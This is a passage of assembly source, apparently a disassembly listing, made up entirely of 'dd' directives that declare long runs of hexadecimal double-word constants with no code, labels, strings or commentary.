		dd 33AFBE8Bh, 2A1010Fh,	88436FCh, 0CE2C4EC0h, 0CF2F3D43h
		dd 3980673Dh, 5F215BCAh, 37B3C9F6h, 1136EF72h, 0EE05A981h
		dd 3F6E7C0Eh, 9FCD0789h, 0A64EBC37h, 364DCDD6h,	4FF8248Fh
		dd 809A71B2h, 50932116h, 0C644A51h, 0FC62DD48h,	0EAE4E3C9h
		dd 0BE46A166h, 0E9E81B1h, 12268E42h, 49FEC015h,	7FFDDE6h
		dd 99523AF8h, 8765684Ah, 0CB7383FBh, 1461884Dh,	0E71CDA91h
		dd 3479D612h, 0B13C8799h, 0FF1EB0F2h, 0FE9F621h, 0A14D5E5Fh
		dd 0B459FFF4h, 24502533h, 0F2D1B896h, 0E16F8A68h, 8259B82Fh
		dd 9F5AB525h, 6326ACD0h, 8428AAFEh, 4EB87FF4h, 388420CBh
		dd 0E62E8008h, 0CB2DDD77h, 0D83C82B6h, 0E60293C5h, 158E1CD3h
		dd 0D76235FDh, 4C16C60Dh, 9C85768Bh, 5A09BB2Fh,	0C55E02DEh
		dd 8E39E26Eh, 8D72042Fh, 0BDE1D5DAh, 3F8FD005h,	49005284h
		dd 6484E44Ah, 0A6D9E5B9h, 0F930099Fh, 0C2B50893h, 0D45C7431h
		dd 0D8E81DCBh, 464812E2h, 0B096C930h, 2D4A0B1Ah, 0B3C5F9CCh
		dd 5800C6D3h, 3ACC983Ch, 4B2504F0h, 9FDE3FD7h, 0F79C9F00h
		dd 21CABB28h, 583E3243h, 28D6C4A3h, 4FAD213Fh, 56EF6E7Ch
		dd 85B7AF87h, 15B3648Eh, 71FE19EBh, 880910F1h, 1EC07809h
		dd 0EDA63463h, 8282BA51h, 590D6C25h, 0DD9E75Fh,	8A553455h
		dd 0E3B1ADD7h, 326D293Bh, 3C8AF979h, 26B5A829h,	31E7A81Eh
		dd 7B98304Eh, 0AAC84665h, 0F8ED9FCCh, 4E2E9471h, 784A2BD1h
		dd 84E48AFh, 0D9EA916h,	798B95Ch, 14F9EC64h, 0CCB5113Ah
		dd 0E89759E6h, 0FE24B72Fh, 0D6B4C240h, 0E97DA984h, 19E10479h
		dd 87C9CD77h, 838C20E9h, 55C5BA18h, 2B9B182Ah, 0BBA32722h
		dd 0A295C393h, 0BF716ECh, 818734A0h, 9E49A1F0h,	3ACF477Eh
		dd 9B1C5B07h, 9A772E60h, 0B5F04A88h, 0B21EC9CAh, 0C8A2F518h
		dd 7DFDF521h, 0BE7616B5h, 0B382A2D8h, 534971B9h, 23122E5Fh
		dd 68A2D546h, 0D4772F8Bh, 0F2AEF379h, 9F18D9DAh, 0A6885A05h
		dd 649BB2C4h, 697EC5B7h, 0FAED6E76h, 0FA88B99h,	0A18647BCh
		dd 450A2959h, 58538F0Ah, 38ACBC8Bh, 9C3A495h, 408651F9h
		dd 1EB095C9h, 9043D828h, 6EC33F21h, 62107342h, 336AA2Dh
		dd 0E4B61BC8h, 6ECA6F58h, 0A8BCBC8Bh, 8D8EF317h, 985872DCh
		dd 9040551Eh, 334E3741h, 16A22D46h, 0AAE41E7Ch,	2A176B00h
		dd 8EA8A31Ah, 89B9948Ch, 9E137067h, 0CAE8B9ABh,	4E6C596Ah
		dd 0AD58261Ah, 0E34A55CDh, 0BED87079h, 0F82DA744h, 467621D2h
		dd 66B45D49h, 6F58FFE1h, 86DC7AB0h, 71EFA781h, 0D3365954h
		dd 0E4328E52h, 0CC82A2DCh, 0D2CDDC9Eh, 0CA216D69h, 53A8122Ch
		dd 9E3A4155h, 49C4996Eh, 26784A09h, 74E19415h, 8716FE9Bh
		dd 8CCBE996h, 0B407995Bh, 44A37697h, 91AA13A8h,	6443124Bh
		dd 402197h, 9FBA6AC6h, 0EE89D4B2h, 9DF1A3D6h, 54BFC768h
		dd 0BB9215EEh, 0CB4F3181h, 39E08Ah, 0B2015287h,	0B301946Ch
		dd 0B740C2AEh, 5614EC92h, 0C40CB833h, 71DD1BF2h, 0D65A0BE6h
		dd 1FB4AFECh, 6BE0D08Ah, 0D7C9B56Fh, 0EA1262BEh, 0EF928451h
		dd 0CE6FB1F5h, 18914433h, 57DE8A1Fh, 9C86A351h,	24042A88h
		dd 0E0B941DAh, 60084527h, 0A663A7ABh, 0B48F6FCCh, 7B6E4A82h
		dd 0B18710EEh, 3214A313h, 0DFF889ACh, 9811E672h, 8A533B8Bh
		dd 0B52FE603h, 375CC013h, 948C7821h, 0D328B8D3h, 7B32E2EDh
		dd 488AB75Bh, 5D058B2h,	0D8F83AB9h, 0C4F78BB2h,	2407A79Fh
		dd 559D45C4h, 0E0E66853h
		dd 2000D582h, 0E25B2884h, 40CE645Fh, 0E3D927C5h, 248E449Fh
		dd 67D3C81Dh, 0E482AE2Fh, 0F8A0E5CBh, 0FF50084h, 90B14AF6h
		dd 96C653CEh, 0A5F4BEBDh, 81ECE78Eh, 0B8B2B02h,	8A9DD77Dh
		dd 0CC299CF5h, 10712CDCh, 15C8E23Bh, 927D44EFh,	0E3DE5291h
		dd 23DFC0C4h, 343DFE9Bh, 0DCFF805Fh, 0FF12E7A2h, 357C2064h
		dd 5484EB2Bh, 0C0376880h, 0B08C0CC7h, 9E572413h, 0F5BD828Bh
		dd 0CA399339h, 69CE212Eh, 0E50FA449h, 0CA4B39FDh, 0FB1E0C46h
		dd 187E3895h, 2F193151h, 2ED35EF9h, 0A3B6AF96h,	5EA833A1h
		dd 0F69DF4BFh, 20755A52h, 957AC950h, 1BA892B8h,	6AA3F08Dh
		dd 43F507h, 0E7C0D6EEh,	93E6C8F2h, 2CB8006Dh, 0F4349024h
		dd 1199CA85h, 0D86F599Bh, 6FF4E9B6h, 5119B90Bh,	0F29199E3h
		dd 0B3C93EB7h, 0F5BDDA13h, 299453A1h, 0EE147F93h, 24E58575h
		dd 87ACC4FFh, 0A05BB371h, 8A892333h, 1C861EEh, 14C6E86h
		dd 0DA48032Dh, 8DA75559h, 4CAA8956h, 329F53F4h,	0F11AA51Bh
		dd 55FD1F38h, 5445B324h, 0FCD682E4h, 52C38D48h,	9B5ED560h
		dd 0D47BB8C5h, 8E6FA36Ah, 9E2FEAC0h, 0D135E074h, 53EE883Dh
		dd 0F8BB3352h, 4B2F8025h, 0A10EFD69h, 3454BCCCh, 0AE52ACF8h
		dd 76C8F59Dh, 0BEACDC06h, 348EA414h, 0DA41BB8Bh, 0CC8E1EE8h
		dd 0B0D2132Ch, 0A838FCC4h, 13155DFCh, 97EF1C61h, 86CC9CFFh
		dd 0BCAFB731h, 0C2789CF4h, 58E57E7Bh, 738B06FEh, 594A4A14h
		dd 27DE8B5Ah, 9FFA8375h, 0BFE7763Bh, 0C6070395h, 0B589EDBh
		dd 8623F6ACh, 0ACDFF8D0h, 264D96B1h, 5510F892h,	0A4A51BFAh
		dd 0A4CE42Eh, 51027785h, 8AF1D9EEh, 4A0D4EA6h, 0D1A3C6E5h
		dd 95634138h, 0C7A7AC10h, 8C13CB87h, 47101778h,	0D013FD91h
		dd 9E4F2848h, 0D29EDFDCh, 0CC0939E4h, 3FE3A7E4h, 0D0ED6025h
		dd 0CD154405h, 4F55776Eh, 920CED03h, 7F842DEh, 227ECE85h
		dd 0B0B57BF0h, 56BACCBh, 7474DAC0h, 0A7B11A4Ah,	6919EA81h
		dd 3A66093Ah, 474542EEh, 0DC262EDCh, 0EE8167B4h, 0A13D4E9Fh
		dd 50E2C206h, 6411BCBAh, 35EEC4DFh, 6B54F0B5h, 447791E3h
		dd 964560E6h, 0EA8F8124h, 3170195h, 1485ABA5h, 84ED98Fh
		dd 0DEF5774Ch, 936781F5h, 6EF80126h, 0F90B7C57h, 28CDCB86h
		dd 93E8D0D8h, 6A0862CCh, 837A936Bh, 0D86B86B0h,	6E376C95h
		dd 7E1F49B7h, 3EA650D5h, 6F752036h, 0C71B69C8h,	0C97BD2A8h
		dd 0BD830CE2h, 83B90C55h, 0C52DDDDAh, 0D03870F7h, 455A284Ch
		dd 0AA0A4D1h, 135D63BEh, 0E9058AB1h, 99FA94AAh,	64A742D1h
		dd 9FD01CEFh, 0BB9402EDh, 4EE580D0h, 363F90B6h,	4BE3860Ch
		dd 0B20A74Ch, 0A53E9F59h, 0A22F6A4Ch, 0FD804672h, 0A475B8D4h
		dd 96D7AAA2h, 0F2F9EA08h, 1CC1D2F6h, 1B57FD39h,	926538Dh
		dd 29161A10h, 0F66B842Bh, 0C93C87Dh, 1DF52562h,	0F1208D9Eh
		dd 99017AA2h, 0B5BB8227h, 0FA339358h, 0AEC1AEA1h, 0F45C95C9h
		dd 2F535E41h, 934D148h,	0A3CBD914h, 0E2EABBBAh,	8FE77CE3h
		dd 5A10AB97h, 0C120D068h, 0A9263040h, 98862396h, 0E77ACD4Dh
		dd 40A1D6E5h, 471B3C64h, 344C87ADh, 967B1F96h, 0CA75657Eh
		dd 2BF4C871h, 7EA01811h, 9779A5CFh, 0A0EAA854h,	3ABB4B45h
		dd 98F19488h, 0E5A3E034h, 1A8D8E13h, 0E0AED90Ah, 0FE5CFB7Fh
		dd 0EC4BE770h, 2E69A2ADh, 0A63226D8h, 0DBC120B0h, 8442E1F8h
		dd 9608A15h, 856E30Ah, 65596300h, 0A3CF7602h, 0FDC08045h
		dd 2CEB58DEh, 2658E689h, 5B77973Bh, 96FDCFB1h, 9707ECC7h
		dd 71A386FEh, 0C980C45Bh, 0AA6F4CFDh, 0A074FEE6h, 4DA5C9Bh
		dd 8F535298h, 2D8DB234h, 0D3C50BADh, 0FCB27D0Fh, 116D6388h
		dd 57954CF2h, 593EFDBh,	8DCB35F3h, 60723EFEh, 0FA6E3859h
		dd 73FE7670h, 0A8DE4577h, 8F63513Ah, 47F491C4h,	0BE3D58EDh
		dd 90E7A1C3h, 0BF63EFFBh, 8A5F0774h, 0BB16E3A3h, 0E7D1D823h
		dd 7F41B1C2h, 0A8D44BD3h, 0E413CD43h, 6D65811Eh, 0A3BAF163h
		dd 2E3A99BCh, 65C1806Dh, 0D4D03815h, 6C55B88h, 87AF4215h
		dd 0ABCE2815h, 0CB6EAD67h, 7A38C49Ah, 170BC20Fh, 0D19770B0h
		dd 81131E8Bh, 0F8EA60F1h, 2B7E53B6h, 3B6B8FEh, 90C1015Dh
		dd 55D18724h, 343ACE95h, 0E83AE317h, 1BF047F6h,	0AD240A52h
		dd 11117DB0h, 68F5B0BAh, 0B8344FDAh, 0C988F5F3h, 7EEED32Ch
		dd 0B1E1D155h, 0B415BD31h, 5C74CCC0h, 0E8EAFD8Eh, 0E6F57F32h
		dd 5AC1F252h, 0F8B5AC27h, 5CB914B2h, 7B48C148h,	18E9A56h
		dd 0FA98ADA9h, 0AB6E4547h, 31904481h, 0BD833414h, 5974709Dh
		dd 8767C738h, 0A5CAA055h, 0C2036C9Dh, 48347FB4h, 0A532DF7Dh
		dd 80B5B8Dh, 413FDC77h,	59C4DCEBh, 3E70F4C3h, 638353Ch
		dd 2F104FCBh, 0B0DB6225h, 0F72DE54h, 8DAB10C3h,	1519A79Fh
		dd 0C9EFDC8Ch, 33820532h, 59187EA8h, 48B10BB1h,	2455A888h
		dd 0A83CDE7h, 6A61FF8Ah, 6848AEECh, 0D4C2A6FDh,	0BBFAD85h
		dd 0D3DDDB15h, 1A903190h, 0AD3C2AA9h, 0C94E3004h, 0FA157C25h
		dd 0D89BF74Dh, 0EE8E29C4h, 0CC01995Bh, 830256B9h, 0D167BF1h
		dd 0F6F1B154h, 0A3FD0AA5h, 7968A0A7h, 82FA6482h, 0B996A2B0h
		dd 71BCE284h, 36CF0136h, 0F89802FCh, 5A562B9Bh,	0ECCEE43Ah
		dd 0C0165BA9h, 910F7823h, 2280CEA5h, 0B982C76Eh, 840C2145h
		dd 3BBB8E76h, 82FF8579h, 76B1908Ch, 55F4B4CFh, 7D4CA24Fh
		dd 93B4704Dh, 0ACB93F5Bh, 0ACA358F3h, 3D24601Dh, 92235FA3h
		dd 7B454505h, 0AB70553Fh, 0C3EB0BB9h, 915E43A5h, 93076Eh
		dd 6011C76Ah, 149F58D2h, 77FBE2BBh, 4F5C07D6h, 0AACAF9B0h
		dd 0B2ACB6E8h, 0BCF90027h, 0AA138A1Eh, 65574E3Bh, 0FF4EFD49h
		dd 0B20F9E7h, 46CB6715h, 0F9D26339h, 5370D201h,	96072DAAh
		dd 387C9AA0h, 4F50E948h, 0FDBD898Eh, 0E0C2AB6Dh, 2BF40F6Bh
		dd 0FAE289A5h, 75626238h, 0A93DF73h, 9A81A375h,	8BEC88A9h
		dd 728602A1h, 709D68D2h, 5E374A3Fh, 641B2A08h, 0E9A83D5Fh
		dd 71EF0A73h, 0B494DF8Eh, 9021FEF4h, 6838BE0h, 0EB9A0848h
		dd 0BE3D87BFh, 1D310CF4h, 0C87AC40Bh, 8AE40AB3h, 0E2E25838h
		dd 0F56493F7h, 0F57036CDh, 0B2F58C15h, 0DC9F84ABh, 7E58CD93h
		dd 1FAAF66Fh, 1B8CC79Bh, 0B79595BDh, 0B3FA0D9Fh, 61B8A3F5h
		dd 432FAEFAh, 99D1ED46h, 4ABC3C32h, 0A8CE4B01h,	96D92176h
		dd 1C333408h, 0FC1B07BBh, 9F6B5C62h, 0BA867B5Bh, 3F996234h
		dd 0D70A5F15h, 59C54294h, 2D58EB4Dh, 0AED096E7h, 879D4E11h
		dd 92BBE9C2h, 9A217F92h, 5730AE69h, 3C72FB90h, 53C7571Eh
		dd 4EBD3D3Ch, 0BF98B97Ch, 320B2E27h, 458A8224h,	0D942801Ch
		dd 5D6D6A46h, 8304DE77h, 0D4B80DB6h, 4E185EC4h,	0E58CF348h
		dd 83EB060Fh, 0D586620h, 671B688Ch, 5976F30Bh, 3E6D2896h
		dd 0E87FD9CAh, 8E186D85h, 657224D0h, 3F58EB59h,	975BA10Eh
		dd 0C752A4C9h, 0E6BD0B6Bh, 3C30D0E9h, 50A4BC98h, 37DA978Dh
		dd 5653151Dh, 57269744h, 0A4967A53h, 9E1047EEh,	0CFD70CE7h
		dd 0AF9F5D8Bh, 0B9F2934Dh, 0EC9FD339h, 81634C66h, 582109B5h
		dd 8F420E87h, 0B57D2E44h, 52BD2F9h, 99E674DDh, 68A0EF1h
		dd 0DE2CC565h, 0CC3ED46Fh, 3F61BF89h, 67CF20Ch,	94EC7C8Dh
		dd 78855EE1h, 8E7FA4DFh, 3BF058F6h, 0E7A127D8h,	0ED348DABh
		dd 20A0A23Fh, 54F5A35Dh, 1328652Ch, 0CB4687C6h,	0CF849458h
		dd 147EB0BEh, 3924D52Bh, 800C394h, 6487E279h, 84919FD2h
		dd 0B053FFFh, 1106920h,	8CCE5438h, 8C5D1FC0h, 15FC256Ch
		dd 2DCF6A62h, 2FB761D1h
		dd 0E63D507Dh, 9A4ECE3Ch, 20DF7DA8h, 177A0FAEh,	0D48EFADBh
		dd 966C6CE3h, 0D38615AFh, 0C052FEBEh, 40F7DB0Ah, 6122294Fh
		dd 32A8C2E6h, 4CE7982Fh, 54C7D767h, 0DB57DC91h,	0E08B8209h
		dd 7EA143D7h, 0B1EDBE61h, 0FA75BC28h, 5DBEF36Dh, 0B97EA89Eh
		dd 593530DDh, 8C06527Fh, 2BE8DDAh, 0E49EC524h, 0DA8BABF3h
		dd 9D2ADFBCh, 96B8876Ah, 7866C7C7h, 98CBFAAFh, 0ED63B8CDh
		dd 575B8454h, 0BB75B018h, 8FB4B66Dh, 71ABDE15h,	0E3C7BB3Bh
		dd 28AF03DAh, 7C04129Bh, 0AFEAC94Ah, 8D817CBFh,	7B0B971h
		dd 0B6FB0B45h, 0C7D8C8Ah, 0B3743F35h, 0FBAE2A0Ah, 0B67BC537h
		dd 1CA47F7Dh, 41996AC2h, 0E182BA3Fh, 6E94FFEBh,	26173BEFh
		dd 0A858F040h, 23CF04F4h, 0E882F5F5h, 0B474B2B1h, 236CEA56h
		dd 0D7254149h, 0EEAD636h, 30577484h, 0BF284453h, 0B9BB0EB9h
		dd 0FCF9929Bh, 3B57F573h, 47A8EDF9h, 6029D735h,	8BBC2133h
		dd 0CDE7A260h, 2B7FCEF3h, 0F7563E46h, 0F757D327h, 2B5E9D6Bh
		dd 0F3BFED0Ah, 6560DB1Dh, 7B7448BAh, 6F7182A0h,	982341E0h
		dd 48359A5Eh, 8E95A495h, 2768E78h, 0B3E2C6FBh, 880B60FEh
		dd 17196203h, 0F17663ABh, 13B39908h, 854F1FECh,	45825347h
		dd 0DEFF0F3h, 5960FB73h, 252773DFh, 0F7690044h,	0EE84761Bh
		dd 0CCEC6B8Bh, 241C8F9Eh, 8D46E1C9h, 9284FE1Dh,	0FA58FC66h
		dd 38E74A80h, 726132F4h, 166FD3F3h, 9BC3E364h, 82A4D862h
		dd 0A19EA527h, 8B394479h, 57C500B4h, 3AD25E8Bh,	0D7684E94h
		dd 861CB9D0h, 9F359DC3h, 28D64A29h, 0D5507CC6h,	0BCF3A71Bh
		dd 0B22BC111h, 0A863D0EFh, 760A498Eh, 0BF426211h, 0F444FDC9h
		dd 7E4009F0h, 9E76F7EDh, 3F4EDA2Bh, 71552970h, 51E84ED3h
		dd 61536C90h, 0AD07BD8Eh, 17CB39DCh, 0B6CD8EF2h, 3CFD277Ah
		dd 4C0FCC00h, 727758Eh,	0B352C574h, 5940F30Eh, 486EE289h
		dd 73014C13h, 0EA54078Ch, 5A7846FEh, 0E580A4Ah,	2D769845h
		dd 0BB11D9BBh, 588D67C1h, 278AF625h, 0B8420668h, 0A8EB2461h
		dd 0E586BB6h, 0F475F45Dh, 51A527AFh, 8CB3BD67h,	20B1A06Ah
		dd 10952490h, 8ADBA823h, 37520863h, 45672A3Eh, 419F078Dh
		dd 9B5E6197h, 51351C27h, 0AED0C9CDh, 8124529Fh,	8849918Eh
		dd 0CBB35ECCh, 0A0047B5Bh, 0B46FE23Ch, 8BE0EF8Ah, 0D2641590h
		dd 364B5F41h, 873B9882h, 677E87B3h, 0ACD4D09Eh,	502E4AB2h
		dd 0CC38AF7Ch, 0A6AA8EAh, 6253BE17h, 3B7DF0DDh,	77948FB1h
		dd 0EF169A10h, 186B683h, 472772B1h, 0A7FC5FAFh,	2D9C34FFh
		dd 8D70AE0Ch, 502EFFB9h, 76915137h, 0FC28FCD2h,	950AFE66h
		dd 9A62F6F7h, 419B3238h, 87EC2F4Dh, 7703055Eh, 59D37D21h
		dd 7861FF32h, 0BC485FF1h, 0F6C5A4F2h, 6C59C3CDh, 0EFED4C83h
		dd 15B4911Ch, 0EC77C4B6h, 3F6EF3F0h, 0FAD8925h,	0AFBA6DA5h
		dd 0F65632FAh, 81054214h, 96EEE66Ah, 0B2A3C6ACh, 26DCDA14h
		dd 0A5234011h, 29529695h, 0E9F19379h, 752AB330h, 108FBF4Eh
		dd 0A337AFE1h, 0DC191F46h, 3D5B459Fh, 7A82F831h, 7B88384Ah
		dd 0AE06B802h, 0F352CBBCh, 0DAE4CB2Eh, 595539C4h, 0B1D08E1Eh
		dd 3E9F4AFAh, 60A61166h, 299AA5C7h, 0BCF6303Ah,	4D42258Eh
		dd 0BA22D7ACh, 169CF7A9h, 3E6654F6h, 119FC508h,	88FB9750h
		dd 7AAF01A3h, 0C358ABB3h, 0A4A51DC1h, 0C332C77h, 9D24C53Ah
		dd 47968115h, 0D2C284F5h, 4AEB2569h, 79317299h,	5F514413h
		dd 5DC7A347h, 0E957F584h, 69010A3Eh, 79B48F05h,	0A0915C6h
		dd 148F7998h, 0C7A5EEA1h, 0D2FE913Fh, 616F31Fh,	8DDE8669h
		dd 3A26D882h, 6B9F707h,	285F9AE1h, 0F898F6B4h, 3C1A45DBh
		dd 2693E688h, 4C9E2A0Bh, 0C6E8B3D1h, 2CFEB72Bh,	0C129D7E6h
		dd 60A3827Ch, 94056C28h, 295703F5h, 609860BDh, 0A7BC8A0Ah
		dd 0A353C82Eh, 23A370BDh, 0CD8D469h, 2C34E58Dh,	7594DBD0h
		dd 9D39146Ah, 0D633EECFh, 76380446h, 0F28BC348h, 9D6849ACh
		dd 4E6E980Bh, 982AB2C6h, 9F65A5h, 958EAFF8h, 2608F0ACh
		dd 0EFBCC183h, 51848B3Ch, 885463ECh, 0D61F3E0Bh, 0B12960EDh
		dd 992C6EBh, 0BEE2BCE2h, 394DC1Fh, 0AFADDE92h, 46AC5339h
		dd 4E90C629h, 7626064Bh, 8EDD3BA6h, 350E166Eh, 7D2E62E4h
		dd 3F1F22AEh, 0D46D53C2h, 0C388BB50h, 3AD03016h, 109061Ch
		dd 8E50C4B4h, 0C6B06564h, 2DF4F762h, 2BAF846Dh,	4536A24Dh
		dd 1CA15CF4h, 0ABC2EF43h, 8A18D3DFh, 3857BC7h, 0D5F1CC2h
		dd 6A14DBBh, 0A8CBB234h, 0F6CB65A2h, 33E39D63h,	8048FE5Ch
		dd 0D65E80B0h, 7690594Dh, 3CB36D75h, 834E5B6h, 0D5F55396h
		dd 68EA1B74h, 268D3E62h, 94B9F072h, 0A0C55803h,	27EF4FCh
		dd 54BAFC40h, 0A0791A39h, 8BC56F5Dh, 5D6187FEh,	18DB340Ah
		dd 0DBA7C5F1h, 0C280D9ADh, 1A641F8Ah, 0B59C69B7h, 0E217CB96h
		dd 0EF72128Fh, 0BA337572h, 0B693017Fh, 3E97BE51h, 0F1196C20h
		dd 2497B603h, 73017BC7h, 394F7229h, 0CDD54BCCh,	789A6FBFh
		dd 5EC09CEAh, 0A4AB2579h, 1937EC7Bh, 0B51767F6h, 0A2E8C46Bh
		dd 8DD1AC8Bh, 90AB5F54h, 0F81D6E94h, 924214BEh,	0EE1670Eh
		dd 0F7BD54BCh, 0ADB4B5F9h, 0DF64C47Dh, 8B8E4275h, 46F51F07h
		dd 0DEEB2EAh, 0FB6DE1B1h, 6A7802D4h, 64F26124h,	19C4F514h
		dd 0D3C4A052h, 0E37F3EE8h, 5A65AE48h, 58E79109h, 0BBF3FB51h
		dd 0B5118CFFh, 6957AE29h, 0C4D45331h, 999C29F8h, 5359DA54h
		dd 0C6DCA881h, 2038C938h, 0B98CEE44h, 96313A7h,	1AD6AA68h
		dd 5E15F133h, 67BC82D6h, 4B0CF0D9h, 0DBC3127Eh,	0F0672AA1h
		dd 1A846BC4h, 9A8DDD11h, 0C542462Dh, 0E96AF282h, 62DB3D4Fh
		dd 4963F6EEh, 0F3BCB0F3h, 81A781E5h, 437F4FAFh,	0DAF72482h
		dd 0B9225E2Fh, 4C769965h, 4B6AF658h, 0A5BA297Eh, 0BCC404C0h
		dd 0DAD0814h, 0B8E00FF7h, 0D5940FF2h, 0F55D7DD9h, 0BED50035h
		dd 0BCC94463h, 58E96F85h, 24797B86h, 0EE49252Fh, 21D33BD9h
		dd 22DDFE32h, 0E6EF9DAAh, 18FED376h, 902EFE59h,	8814C369h
		dd 5F54EC5Dh, 5D225B2Ch, 486557Dh, 1B1BA553h, 0A925C1A3h
		dd 5D3856D3h, 9EB15FFAh, 775E6E5Dh, 19A3E7F3h, 0EC36B0A7h
		dd 3B998A8Ch, 0ED856A14h, 0B8102AC4h, 82E2DEC3h, 9690C152h
		dd 14481D93h, 0DC9D4AC1h, 3605510Bh, 0F73E22ADh, 188CEC12h
		dd 32F6F1B9h, 81B2B504h, 7A54BABAh, 0CB550B8Eh,	40E6E741h
		dd 1F613A53h, 9EA998A9h, 5A7C938Ch, 0E8E5E0A4h,	0AF8F1C7Ch
		dd 2083E91Dh, 0E2DCF52Ah, 70312EA4h, 4E41C0A4h,	88A5413Dh
		dd 0BE2E68FFh, 3DDB5958h, 8D8AE002h, 944E129Ch,	7B22CB1Dh
		dd 0B214A9D7h, 0D9004A39h, 74C59CEDh, 79BC561h,	0C2044406h
		dd 0DABD538Dh, 0AD50122Eh, 3CE8B0D6h, 0AACF6014h, 92DD0B9h
		dd 3A767B45h, 21C972CFh, 99933D0Dh, 0F121C167h,	73B54327h
		dd 0D48B55FCh, 749CE3B4h, 187B1660h, 0FD1D4C4Ch, 612C79FAh
		dd 42D00805h, 9986DF3Eh, 2A898A9Ah, 0E5AC072Eh,	3B5CCE86h
		dd 79BEA81Ch, 869D31EEh, 94960F37h, 76DE27A7h, 0CA9EC6B2h
		dd 0BC2CE0F8h, 6532E821h, 23C88C7Ch, 90174367h,	0A6701DEBh
		dd 0ED91B64Fh, 655F4088h, 0B49C6D21h, 0EE3EF22Eh, 0BE39BA5Eh
		dd 0B040F22h, 720F93C5h, 0F1C29943h, 0B0175B66h, 8BE5AECEh
		dd 5A58D567h, 343FB34Ch, 0CC59FCAEh, 0CAC2539Dh, 0C4581A11h
		dd 9B0A4E8Ch, 6060AC3Dh, 0CC6E5702h, 7AEA7809h,	24FE4C04h
		dd 97C54E3Bh, 121F1345h, 0C70E4BDFh, 0B7C7CEA7h, 801B3D73h
		dd 0BBE9BDC6h, 775CE277h
		dd 0CFE1809Bh, 692495EFh, 4ADE6404h, 95FF3A3Eh,	7E53522Ah
		dd 0FF9240D2h, 3AF3EA07h, 0E8B6A419h, 7DBC2277h, 0E1EA4FF8h
		dd 5BB1B646h, 88288D38h, 87109370h, 0E3CE0198h,	1EB3B45Eh
		dd 0B30E47E4h, 0F624BA79h, 0C182A9FDh, 9A6843D1h, 26474A73h
		dd 93F38C17h, 8467E1C1h, 5F2FAE48h, 0AA679F30h,	0E4181656h
		dd 93FB4EB3h, 0E88340B5h, 7C5D37FFh, 0A534259Ah, 0C3E20DA9h
		dd 0BCEF35CEh, 2A413432h, 0B8C79A17h, 3BCE3575h, 0A5480793h
		dd 0BD6E6FFDh, 2E003746h, 22791E44h, 2B275F77h,	5C433C70h
		dd 0B811587Fh, 83B2C0F4h, 0B829ED6Fh, 1253A223h, 6CD5AA4Dh
		dd 0F64D089Dh, 5D360D77h, 0E7F83762h, 8F70CEEBh, 0F6313CB2h
		dd 0D628BA23h, 0FC70DACh, 9C7BD321h, 41C74E88h,	0BFEC5C7Eh
		dd 9A7CFEA7h, 84956414h, 0AD52F58Dh, 7CEA01E2h,	0F0D42848h
		dd 8A2B0847h, 4FF457C3h, 9FF6DDFh, 0C955C6D9h, 0B3F6E681h
		dd 7C9F7293h, 17D05113h, 15692209h, 0A3D2081Eh,	0D5B6D564h
		dd 0D597DA8Dh, 0CF28A31Ah, 83D4F2F2h, 8A2DDA01h, 1E1F6E76h
		dd 0F8C46C03h, 0A8FC8726h, 9E9CECBAh, 3F282F1Eh, 0AE3B33E0h
		dd 81E7D451h, 113ABDC8h, 0EDD584B9h, 605A314Eh,	0C18921BDh
		dd 6B90AA19h, 49046768h, 142965DCh, 0E00F6D7h, 80F8AFDBh
		dd 0AC7E0064h, 0E3049AD4h, 0A666CFF2h, 0CE24F68Ch, 9244F507h
		dd 0C0099ADEh, 15C680C2h, 0E43418DDh, 36A12B20h, 92BFE700h
		dd 0F16ED33Bh, 909B8F99h, 0AF473E7Fh, 2823F6CBh, 0FBBCC58Dh
		dd 477C92F7h, 0DEEB4735h, 137BC9E4h, 0DD8CEA9Ah, 0B0B84DFBh
		dd 6BE6E2EDh, 0FEC7CB33h, 3802FF22h, 532CFD0Dh,	3951365Ch
		dd 80D4C46h, 5A562157h,	0D22D7373h, 1F40D0E9h, 0E344A2E2h
		dd 180DEBD2h, 6D4E4404h, 2A5B8A21h, 0DDBBF830h,	0A6BA2766h
		dd 0B7040E2Fh, 0CCAFE579h, 6795E372h, 69DBDBE2h, 0DE59592h
		dd 4C54A984h, 79A6E504h, 0F2B93768h, 65AD8AC9h,	0AABD5CF5h
		dd 8175CEA8h, 5A5E565Ch, 0AA4AD46Bh, 8B7C5526h,	48E65E4Fh
		dd 1544D34Bh, 1B7640DCh, 10C070EDh, 41DCB02Ch, 0D9F9F48h
		dd 0DEDD05B2h, 57C11F39h, 9F1879C6h, 215B9EC7h,	0EE86F88Dh
		dd 0C90394F1h, 690780FEh, 0D4C68678h, 90B5FCFEh, 1E2BD934h
		dd 9982B973h, 621F51BCh, 98537838h, 0A79A09B5h,	458DF6CDh
		dd 65A4C8DDh, 1E9B740Bh, 25C1DE30h, 0EC6716E7h,	2817B070h
		dd 23677C1Ch, 0D839B27Fh, 89939869h, 5862F7E6h,	0DE23AAF6h
		dd 4B767860h, 0A20CAA8Ah, 5BBC6364h, 6525F408h,	8EFC719Bh
		dd 62902C7Bh, 35C632C0h, 0AE30D49Eh, 65178F86h,	0A1910FD6h
		dd 0E0FFAA16h, 858A35FDh, 1A2C3FACh, 1458530Dh,	0DFE59D07h
		dd 0D42288D5h, 88527524h, 0D037AEB5h, 74C4B857h, 25F7AF68h
		dd 0BB2F91D8h, 0C1548C93h, 2CA4FCA4h, 0ECA7B238h, 6432C40Bh
		dd 0FB25708Eh, 0A06EE9DDh, 0A3B2783h, 0BF70CB65h, 0B201C3B2h
		dd 0CA7DAC94h, 0B4D4DB04h, 0D7307345h, 0EFDE467Eh, 790857B0h
		dd 42207392h, 9EB43D02h, 4A38E9Eh, 763AE9EAh, 70531B90h
		dd 0DA8E4256h, 1D7EBA4Eh, 0DA0217D9h, 0CEB61A2Ch, 12E8172h
		dd 0A0DE8B23h, 0EA22B794h, 0DD602668h, 8C98DED9h, 0EBCFD0BDh
		dd 5827E89Dh, 0F2FC3C12h, 8195B649h, 0E09FD407h, 3FF7AC89h
		dd 0BE670F15h, 0AA51428Bh, 0D9A516B9h, 0B3EDCBACh, 24D6FF46h
		dd 1E7E1D79h, 0AF5AE137h, 0C1BAEFCEh, 0F9E94E26h, 0B982332Dh
		dd 8950B977h, 90C6ACB1h, 1DB3AC10h, 826ECD0Dh, 716CADFDh
		dd 6154EC61h, 0EEF4BE99h, 52F90BEFh, 804A550Fh,	0FB998D7Bh
		dd 0DB95EB83h, 350FEB61h, 6FF6E35Eh, 5F3D1C12h,	9443BECh
		dd 8D4C2570h, 0F3770291h, 955C9DD3h, 0C47EB53Dh, 0D1157455h
